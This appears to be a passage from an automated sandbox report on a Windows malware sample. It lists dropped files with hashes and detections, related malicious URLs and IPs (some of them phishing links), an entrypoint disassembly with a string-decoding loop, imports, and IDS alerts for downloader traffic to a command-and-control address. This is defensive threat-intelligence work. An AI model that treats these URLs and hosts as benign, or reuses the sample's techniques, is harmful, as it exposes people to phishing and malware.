	https://u1404228.ct.sendgrid.net/ls/click?upn=u001.53NsXfgUBOeYzK87Mt8UmmFmJrZ7XUeaM2H1JJzIOlLD8XdRMGUjLjiETSkkNSOO1aPcOhsB-2B6p58337PPTvLBJHf93ZwdhKuc0pYJ3CCFhPzGYkRFXax0jGvIeRFmcP5G0BUyJ6YhdCuxj2rmKfEA3sfYg2UNxl72w1Me3oPfdrF6jbhGk315PA9TABMIUQaw-2BWiKWUThNlxL-2FiIJdoH5tiTQT-2Bm8o6f2DtPJqJqYyOmKsC6Z8r8BDMH-2BRyR0DPAbc1o4jsJAeLDJ31LwWjsFQYr3zFK5cIf8Mbd-2BRzOeXFDSMm6es3Y0fepvpPG5r7pfagssMFSYnyu8MHsVv5hRcIKJqjAZyLx1ckeV-2FaCznPfw8naJb82iSt3TNueNL1vH7DevWmKVRPxk4wZ5wzTJXKbWW9anlXuh-2BQXFzp8R8-2BdEEizEjCv3UcDuHMQ1pDH865wy4DUZnYMpZjJQJPawcQswhgRnWgvPzhIRyQE-2Bc-3DkIeO_CR4Iv1KReyG-2BUTiHEM2iSrmxUTGCd7nll-2F8pyW4fRHUIiL68JldL5hjEvlqIxpWk9hPYxNH8eo9VRHfVERALBwpMyAhjDc4FUwScFs2ucRUabaJ73tdO-2FPebairfMf4xwZ2dpDlmkqO5pmgc1gE0gGghSpi3dDGJNhz4YymAGUOPzRzAYltzk0Ba7IAVZeXH7Jn8rume2KIoU57-2Fl62ae-2FaTXSu1TIVQ6Migf-2F6NGXqO6vztNaikiQe23mzDzfi19JJ-2FVN5j6ZPVhD34lLHzKpdiifzixAZur7VZCR5Hc24MfYQGTYVbJWBIhMdpT2lgG-2Bg-2FTIWWIZlY-2Fzm-2BK3i-2F0Q-3D-3D	Get hash	malicious	Unknown	Browse	139.162.185.155
	PO#86637.exe	Get hash	malicious	FormBook	Browse	45.33.6.223
	Solicitud de Cotizaci#U00f3n #U2013 Cat#U00e1logo de Muestras2024.vbs	Get hash	malicious	FormBook, GuLoader	Browse	45.33.2.79
	firmware.armv4l.elf	Get hash	malicious	Unknown	Browse	45.56.79.23
	firmware.armv7l.elf	Get hash	malicious	Unknown	Browse	178.79.128.206
HETZNER-ASDE	Ey6iI0wxsf.exe	Get hash	malicious	Unknown	Browse	88.198.29.97
	http://ayushmangupta01.github.io/Netflix_clone_main	Get hash	malicious	HTMLPhisher	Browse	78.46.22.25
	http://www.jazeegroup.com/new_salary_increment_notification_secured_document.html	Get hash	malicious	Unknown	Browse	135.181.164.29
	Client.exe	Get hash	malicious	Quasar	Browse	195.201.57.90
	z3bqnf1WvW.exe	Get hash	malicious	RedLine, SectopRAT	Browse	178.63.51.126
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	5.75.214.132
	http://e95lq1vmgxojxrxkv7.pages.dev/	Get hash	malicious	Unknown	Browse	195.201.57.90
	https://infognition.com/ScreenPressor/ScreenPressor4.zip	Get hash	malicious	Unknown	Browse	78.47.156.184
	bot_library.exe	Get hash	malicious	Unknown	Browse	144.76.166.199
	bot_library.exe	Get hash	malicious	Unknown	Browse	159.69.63.226
AKAMAI-ASN1EU	Ey6iI0wxsf.exe	Get hash	malicious	Unknown	Browse	172.234.222.143
	SecuriteInfo.com.ELF.Mirai-CTV.17056.24722.elf	Get hash	malicious	Unknown	Browse	172.236.28.137
	http://cremis.co.jp/oscommerce/catalog/redirect.php?action=url&goto=m8746liv.dallasnews24.comhttps://ohyeah.jp/redirect.php?action=url&goto=google.com.////amp/chungcusungrouphalong.vn/log/5QpvB8K2/ZWdheXRhbkBpZHNyZWFsZXN0YXRlLmNvbQ==$%E3%80%82&c=E,1,WIsK-Pp3fpUtsfHSA8-xzLJpUhIWthdkIPcm9_R7RXGcgUnYnPVSB6XUBjqIvsMquxANN6Vw0E_RWm4aP1d6oCkGO5HUfUouEOY2VUcZ&typo=1	Get hash	malicious	HTMLPhisher	Browse	172.233.39.205
	Play_VM-NowBarry.doanAudiowav012.html	Get hash	malicious	Unknown	Browse	23.197.127.142
	Amex Message.pdf	Get hash	malicious	HTMLPhisher	Browse	23.55.163.73
	https://clickme.thryv.com/ls/click?upn=u001.Als7cfHaJU2yMdsJgpsIFkILOsO1UnLItklUwD68rhtr94fRPJI4HAEjYZ7vdlgHTiHU_OEO3HRIZ3eedLymwLhvJt9sqs3j4T3CqpVCO9A0ZKplqH1W1Ad1lCPdQBrRfbSauZPLLCLTYBsXDRt8yGG5FOZ7NK342oFTufTBA9n-2F9XZPRzSyzWe4FlQQyqQA-2BOTqGjWjoN-2BuPm4tzM5LM6f6tO2PXKa74YSjAhzL6onG-2BuKO989bZZj9vupVvXtBWU0qXeI6VZny9p-2FgjssbU9Je1I2RDoZPOLgxX8gxf2-2BzsuoGYoVqnaS5CYR1Z5WEWAcZP0wmQbm4ikqer-2BGrlVppyDdPw-2BxPiObQZTbU2ZeclEy9V5nUC-2BnwlvdDmQwsjghHkHuJFiwInVWpyiCgGFo0uYjlPs3G8hdAgJBJu-2F-2B0K864-3D#ZmluYW5jZUBjbGVhcnZpZXcuYWk=	Get hash	malicious	Unknown	Browse	184.50.204.201
	file.exe	Get hash	malicious	Unknown	Browse	23.200.0.42
	https://icrealtime.com/downloads/2	Get hash	malicious	Unknown	Browse	88.221.110.145
	file.exe	Get hash	malicious	Unknown	Browse	23.200.0.9
	file.exe	Get hash	malicious	Unknown	Browse	23.200.0.9

Process:	C:\Windows\SysWOW64\edsuvoov-usum.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	25600
Entropy (8bit):	6.020686022652244
Encrypted:	false
SSDEEP:	384:PXd6ULZam2bCNifL0/QzGMqGEN4fn7NgjNdUPjQ2fu/MB8TMxs1wHMkGPMlj1ju:PXjLZJ2bXfqQKMq+gjTAfu/MB8QKpKB
MD5:	EB9474598B42C55CC62D098B8C5D8B7E
SHA1:	1D73F3DA3C1BA4DEA3EE051E41CF8B991685B8EF
SHA-256:	7CD473A4B131E8BEB8F9BAAE5876D47A74D7DFE0AD76B5F189DDE8FBE0285E91
SHA-512:	E6D84DC5C513AA41ED053BA2BC113346D7CAEC5D782871A5D72803C64B3D54B93236F1563B1FA545590FE72EA80DA5DFD78ED5CD7C59FA2C921CEF34AA2FC54E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....L.H...........#...8.@... .......D.......P................................................ .........................1.......L...............................\....................................................................................text...(?.......@.................. ..`.data...@....P.......D..............@....rdata.......`.......L..............@..@.bss.........p...........................edata..1............X..............@..@.idata..L............Z..............@....reloc..\............`..............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\tmp5C6F.tmp

Download File

Process:	C:\Windows\SysWOW64\edsuvoov-usum.exe
File Type:	data
Category:	dropped
Size (bytes):	106721
Entropy (8bit):	6.251254904812791
Encrypted:	false
SSDEEP:	1536:uxd9IKubv9svDzhki7tomuNF5KF9/+ePitXid:iIvbvKrN7nuN/MlPGXid
MD5:	EE8AF7D7567529B836A77DCC1E7563BD
SHA1:	7A88819F0A2B8F281C483E44C3C28837612C88AF
SHA-256:	D6FBB0A8DF363116EB204ADAAC708BD38E1A4697F4481408114A55146456B090
SHA-512:	E608DACE9DEFDDB9A99B794D050E74E4ED20BF4486E8798C30DA9395D496339C890218D6FCAFEF2684645333DE7D492F06642416FBECD1D6517C7A806A65A225
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	low
Preview:	..`.............H..........................................p.....J..D.=.H.=................................................2.].....................^.....................................................y..........................................$..........................................................................................................................(....................................Pl.......P....................0.......................................................................p..0.......$.............................0........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\edsuvoov-usum.exe

Download File

Process:	C:\Users\user\Desktop\5SGOAKv7AR.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	106721
Entropy (8bit):	6.2512549048127966
Encrypted:	false
SSDEEP:	1536:BteqKDlXvCDB04f5Gn/L8NRel15weLTK/m4ebueX0G1BX:alg35GT9Zwc4mbyo
MD5:	36EC3A51B474CF8210BC02444A290499
SHA1:	86F147291649382BADBBEA123BC94FBAB1167770
SHA-256:	71D84A18E3CBA7A496B6E2A4AB14EC7F6B5C82D7D9FA9B86863E23B7161886CE
SHA-512:	05D3DAA701D634FB122E7A877DE88DF1F7D9C436E0608262695393F483E65CF1033D8AC3BC065C12F2D9274E2136FDE6ECC2C0C50BDEEC3C30019F5D58E5C1E7
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 84%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....L.H...............8.X...........:.......p....@..........................@......r......... ..............................0.......................................................................................................................text....W.......`.................. ..`.data........p.......p..............@....rdata..`...........................@..@.bss....p.... ....... ...................idata.......0.......0..............@...........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\ehmehut.dll

Download File

Process:	C:\Windows\SysWOW64\edsuvoov-usum.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	5120
Entropy (8bit):	3.4855350111432437
Encrypted:	false
SSDEEP:	48:6/bHgJ2GVhcus1lli4NbE2eMGjofSA8YDITcSd3MA3MMIv0BvcvXQ3:yAJ2G6Vx5EUGU6wIASdcAcHvA3
MD5:	F37B21C00FD81BD93C89CE741A88F183
SHA1:	B2796500597C68E2F5638E1101B46EAF32676C1C
SHA-256:	76CF016FD77CB5A06C6ED4674DDC2345E8390C010CF344491A6E742BAF2C0FB0
SHA-512:	252FE66DEA9A4B9AEBC5FD2F24434719CB25159BA51549D9DE407F44B6A2F7BCE6E071BE02C4F2AD6AEF588C77F12C00ED415EB54F96DEC1B077326E101CE0F4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...ao.H...........#...8..................... ...............................`................ ......................0..5....@...............................P..@....................................................................................text............................... ..`.data...`.... ......................@....edata..5....0......................@..@.idata.......@......................@....reloc..@....P......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	6.2512549048127966
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	5SGOAKv7AR.exe
File size:	106'721 bytes
MD5:	36ec3a51b474cf8210bc02444a290499
SHA1:	86f147291649382badbbea123bc94fbab1167770
SHA256:	71d84a18e3cba7a496b6e2a4ab14ec7f6b5c82d7d9fa9b86863e23b7161886ce
SHA512:	05d3daa701d634fb122e7a877de88df1f7d9c436e0608262695393f483e65cf1033d8ac3bc065c12f2d9274e2136fde6ecc2c0c50bdeec3c30019f5d58e5c1e7
SSDEEP:	1536:BteqKDlXvCDB04f5Gn/L8NRel15weLTK/m4ebueX0G1BX:alg35GT9Zwc4mbyo
TLSH:	DBA35B4DABFE0172C5F407B818B78BBDDEB7F631B1229787A3D5599E04C9201891E31A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....L.H...............8.X...........:.......p....@..........................@......r......... ............................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x403a19
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:
Time Stamp:	0x48AD4CC2 [Thu Aug 21 11:08:50 2008 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	c1246ca9ec291149221a5cbc329bf1a2

Entrypoint Preview

Instruction
push ebp
push edi
push esi
push ebx
mov eax, 0000148Ch
call 00007F48AC6B371Eh
call 00007F48AC6B3959h
mov dword ptr [00412270h], eax
mov dword ptr [004120D0h], 00000094h
sub esp, 0Ch
push 004120D0h
call 00007F48AC6B3945h
mov eax, 00000000h
add esp, 0Ch
xor byte ptr [eax+00407000h], FFFFFFD4h
inc eax
cmp eax, 06h
jne 00007F48AC6B0D15h
mov al, 00h
xor byte ptr [eax+00407007h], FFFFFFD4h
inc eax
cmp eax, 0Ch
jne 00007F48AC6B0D15h
sub esp, 0Ch
push 00407007h
call 00007F48AC6B38B4h
mov ebx, eax
add esp, 0Ch
cmp dword ptr [004120E0h], 02h
je 00007F48AC6B0D55h
mov eax, 00000000h
xor byte ptr [eax+00407014h], FFFFFFD4h
inc eax
cmp eax, 16h
jne 00007F48AC6B0D15h
sub esp, 08h
push 00407014h
push ebx
call 00007F48AC6B38EEh
add esp, 08h
test eax, eax
je 00007F48AC6B0D2Eh
sub esp, 08h
push 00000001h
push 00000000h
call eax
add esp, 08h
sub esp, 04h
push 00000104h
lea eax, dword ptr [esp+00001390h]
push eax
push 00000000h
call 00007F48AC6B38CCh
add esp, 04h
call 00007F48AC6B38CCh
mov edx, 00407000h
call 00007F48AC6BE255h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x13000	0x8d4	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x57d8	0x6000	4c4ef859e1d9380b34ec090f88cc4c25	False	0.4677734375	data	5.742590786826368	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x7000	0x9ca0	0xa000	3e153b868c425786d014d6dd057dd2db	False	0.4489990234375	data	5.829445124935704	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x11000	0x560	0x1000	a8ae9b29f26dc7c53d6b8b923fbacc7a	False	0.32421875	data	3.2085085907294957	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.bss	0x12000	0x370	0x1000	cd1864334dcbe28ebc6d838ee80548e8	False	0.03564453125	data	0.28026180020774066	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x13000	0x8d4	0x1000	2f8cdbdf29f8b4f2e3247269124b0ae8	False	0.3046875	data	3.6908917321230708	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
ADVAPI32.DLL	RegCloseKey, RegCreateKeyA, RegCreateKeyExA, RegDeleteKeyA, RegDeleteValueA, RegEnumKeyA, RegEnumValueA, RegOpenKeyExA, RegQueryValueExA, RegSetValueExA, RegSetValueExW
KERNEL32.dll	CloseHandle, CreateFileA, CreateMutexA, CreateProcessA, CreateThread, CreateToolhelp32Snapshot, DeleteFileA, ExitProcess, ExpandEnvironmentStringsA, GetCommandLineA, GetComputerNameA, GetCurrentProcessId, GetCurrentThreadId, GetFileSize, GetFileTime, GetLastError, GetModuleFileNameA, GetProcAddress, GetProcessHeap, GetStartupInfoA, GetSystemDirectoryA, GetSystemTimeAsFileTime, GetTempFileNameA, GetTempPathA, GetTickCount, GetVersionExA, HeapAlloc, HeapFree, HeapReAlloc, LoadLibraryA, OpenProcess, Process32First, Process32Next, ReadFile, SetFileAttributesA, SetFilePointer, SetFileTime, SetPriorityClass, Sleep, TerminateProcess, VirtualAlloc, WaitForSingleObject, WriteFile, lstrcatA, lstrcmpiA, lstrcpyA, lstrlenA
USER32.dll	ExitWindowsEx, wsprintfA
WS2_32.DLL	WSAGetLastError, WSAStartup, closesocket, connect, gethostbyname, getsockopt, htons, inet_addr, ioctlsocket, recv, select, send, socket

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-07T15:34:00.578045+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	49711	172.234.222.138	80	TCP
2024-09-07T15:34:02.076876+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	49714	172.234.222.138	80	TCP
2024-09-07T15:34:03.385889+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	49717	172.234.222.138	80	TCP
2024-09-07T15:34:04.549358+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	49720	172.234.222.138	80	TCP
2024-09-07T15:34:07.602203+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	49723	172.234.222.138	80	TCP
2024-09-07T15:34:09.377835+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	49727	172.234.222.138	80	TCP
2024-09-07T15:34:10.782137+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	49730	172.234.222.138	80	TCP
2024-09-07T15:34:11.943025+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	60144	172.234.222.138	80	TCP
2024-09-07T15:34:14.444162+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	60147	172.234.222.138	80	TCP
2024-09-07T15:34:16.063797+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	60150	172.234.222.138	80	TCP
2024-09-07T15:34:17.710181+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	60153	172.234.222.138	80	TCP
2024-09-07T15:34:21.125373+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	60156	172.234.222.138	80	TCP
2024-09-07T15:34:22.269473+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	60159	172.234.222.138	80	TCP
2024-09-07T15:34:27.974081+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61353	172.234.222.138	80	TCP
2024-09-07T15:34:29.285083+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61356	172.234.222.138	80	TCP
2024-09-07T15:34:31.589262+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61359	172.234.222.138	80	TCP
2024-09-07T15:34:33.497866+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61362	172.234.222.138	80	TCP
2024-09-07T15:34:35.500892+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61365	172.234.222.138	80	TCP
2024-09-07T15:34:37.722425+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61368	172.234.222.138	80	TCP
2024-09-07T15:34:39.301067+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61371	172.234.222.138	80	TCP
2024-09-07T15:34:40.427839+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61374	172.234.222.138	80	TCP
2024-09-07T15:34:41.571898+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61377	172.234.222.138	80	TCP
2024-09-07T15:34:44.768083+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61380	172.234.222.138	80	TCP
2024-09-07T15:34:46.821951+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61383	172.234.222.138	80	TCP
2024-09-07T15:34:47.972475+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61386	172.234.222.138	80	TCP
2024-09-07T15:34:50.366734+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61390	172.234.222.138	80	TCP
2024-09-07T15:34:52.160381+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61393	172.234.222.138	80	TCP
2024-09-07T15:34:56.866690+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61396	172.234.222.138	80	TCP
2024-09-07T15:34:57.993794+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61399	172.234.222.138	80	TCP
2024-09-07T15:34:59.721753+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61402	172.234.222.138	80	TCP
2024-09-07T15:35:00.943860+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61405	172.234.222.138	80	TCP
2024-09-07T15:35:02.750202+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61408	172.234.222.138	80	TCP
2024-09-07T15:35:08.437881+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61411	172.234.222.138	80	TCP
2024-09-07T15:35:10.098969+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61414	172.234.222.138	80	TCP
2024-09-07T15:35:12.355887+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61417	172.234.222.138	80	TCP
2024-09-07T15:35:15.386927+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61420	172.234.222.138	80	TCP
2024-09-07T15:35:16.535147+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61423	172.234.222.138	80	TCP
2024-09-07T15:35:17.819038+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61426	172.234.222.138	80	TCP
2024-09-07T15:35:19.003453+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61429	172.234.222.138	80	TCP
2024-09-07T15:35:23.449138+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61430	45.79.222.138	80	TCP
2024-09-07T15:35:24.469879+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61432	172.234.222.138	80	TCP
2024-09-07T15:35:26.689706+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61435	172.234.222.138	80	TCP
2024-09-07T15:35:29.328844+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61438	172.234.222.138	80	TCP
2024-09-07T15:35:33.043803+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61441	172.234.222.138	80	TCP
2024-09-07T15:35:36.181066+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61444	172.234.222.138	80	TCP
2024-09-07T15:35:40.460196+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61447	172.234.222.138	80	TCP
2024-09-07T15:35:41.302953+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61448	45.79.222.138	80	TCP
2024-09-07T15:35:42.332876+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61450	172.234.222.138	80	TCP
2024-09-07T15:35:43.516511+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61453	172.234.222.138	80	TCP
2024-09-07T15:35:45.321573+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61456	172.234.222.138	80	TCP
2024-09-07T15:35:46.486434+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61459	172.234.222.138	80	TCP
2024-09-07T15:35:48.261478+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61462	172.234.222.138	80	TCP
2024-09-07T15:35:49.878449+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61465	172.234.222.138	80	TCP
2024-09-07T15:35:51.754983+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61468	172.234.222.138	80	TCP
2024-09-07T15:35:52.920888+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61471	172.234.222.138	80	TCP
2024-09-07T15:35:54.517786+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61474	172.234.222.138	80	TCP
2024-09-07T15:35:55.708386+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61477	172.234.222.138	80	TCP
2024-09-07T15:35:56.877125+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61480	172.234.222.138	80	TCP
2024-09-07T15:36:00.341616+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61483	172.234.222.138	80	TCP
2024-09-07T15:36:01.656642+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61486	172.234.222.138	80	TCP
2024-09-07T15:36:02.760612+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61489	172.234.222.138	80	TCP
2024-09-07T15:36:04.580917+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61492	172.234.222.138	80	TCP
2024-09-07T15:36:06.523901+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61495	172.234.222.138	80	TCP
2024-09-07T15:36:07.698145+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61498	172.234.222.138	80	TCP
2024-09-07T15:36:08.904506+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61501	172.234.222.138	80	TCP
2024-09-07T15:36:10.350393+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61504	172.234.222.138	80	TCP
2024-09-07T15:36:12.124138+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61507	172.234.222.138	80	TCP
2024-09-07T15:36:14.015052+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61510	172.234.222.138	80	TCP
2024-09-07T15:36:15.961660+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61513	172.234.222.138	80	TCP
2024-09-07T15:36:20.934077+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61516	172.234.222.138	80	TCP
2024-09-07T15:36:22.805211+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61519	172.234.222.138	80	TCP
2024-09-07T15:36:24.073471+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61522	172.234.222.138	80	TCP
2024-09-07T15:36:25.284684+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	61525	172.234.222.138	80	TCP
2024-09-07T15:36:27.709918+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	55700	172.234.222.138	80	TCP
2024-09-07T15:36:30.147412+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	55703	172.234.222.138	80	TCP
2024-09-07T15:36:31.312671+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	55706	172.234.222.138	80	TCP
2024-09-07T15:36:32.991169+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	55709	172.234.222.138	80	TCP
2024-09-07T15:36:34.127889+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	55712	172.234.222.138	80	TCP
2024-09-07T15:36:35.299131+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.3	55715	172.234.222.138	80	TCP
